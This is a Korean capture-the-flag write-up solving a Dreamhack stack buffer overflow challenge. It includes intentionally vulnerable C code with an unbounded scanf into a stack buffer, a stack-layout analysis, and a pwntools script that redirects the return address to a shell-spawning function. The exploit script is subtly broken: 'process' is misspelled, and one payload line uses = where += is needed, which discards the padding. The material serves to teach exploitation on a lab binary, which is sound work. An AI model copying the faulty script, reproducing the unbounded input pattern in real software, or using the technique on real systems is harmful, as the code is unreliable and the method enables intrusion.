1. Description
2. Check
2.1 C code
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
code description
init(): stdin, stout을 초기화 시켜준다.
get_shell(): execve의 첫번째 인자 cmd가 '/bin/sh'이 있다. 따라서 이 함수는 shell을 실행시키는 함수이다.
main(): "Input: " 다음에 buf를 입력한다. buf의 크기는 0x28만큼 주어졌다.
2.2 file
파일: ELF 64-bit 파일
호출 규약: SYSV 호출규약
linking 방식: dynamically linked
2.3 checksec
NX enabled: stack이나 heap 영역에서 실행을 못함.
3. Design
buf는 stack에 쌓인다. 하지만 NX가 걸려있으므로 Stack에서 shell을 실행시키는 shellcdoe를 넣지 못한다.
get_shell() 함수가 주어졌으므로, buf를 활용해 return address를 get_shell()함수의 주소로 overwrite를 하면 된다.
4. Exploit
4.1 get_shell 주소
4.2 buf 확인
main+35
rbp-0x30의 값을 rax로 넘기고
main+39
rsi값이 rbp-0x30이 되는 것을 확인 할 수 있다.
scanf("%s", buf); 에서 buf는 두번째 인자이다. 따라서 rsi가 저장하고 있는 rbp-0x30는 buf의 공간임을 확인 할 수 있다.
스택영역을 확인해 보면
stack |
---|
buf(rbp-0x30) |
|
|
현재 rbp |
SFP |
RET |
이와 같다.
4.3 vulnerability analysis & exploit design
scanf는 입력값에 제한이 없다.
그렇기에 buf에서 입력을 할 때, 0x30만큼을 dummy값으로 채우고, SFP는 64bit에서는 8bytes 이므로, 8bytes만큼 dummy값으로 채운다.
따라서 buf dummy값(0x30) + SFP dummy값(0x8) + RET(get_shell 주소)를 하면 shell을 획득할 수 있을 것이다.
stack |
---|
buf dummy * 0x30 (rbp-0x30) |
SFP dummy * 0x8 |
get_shell address |
4.4 exploit code
from pwn import *
p = proecess('./rao')
get_shell = 0x4006aa
payload = b"A"*0x30
payload = b"B"*0x8
payload += p64(get_shell)
p.sendline(payload)
p.interactive()
4.5 exploit result
마치며
Stack Buffer Overflow에 대해 문제를 풀면서 알아 보았다.
물론, 문제에서 shell을 실행시키는 함수를 주어서 쉽게 풀 수 있었다.
다음 시간엔 shellcode를 활용해서 어떻게 exploit하는 지 알아보자.
Reference
https://dreamhack.io/wargame/challenges/351/ (문제 출처)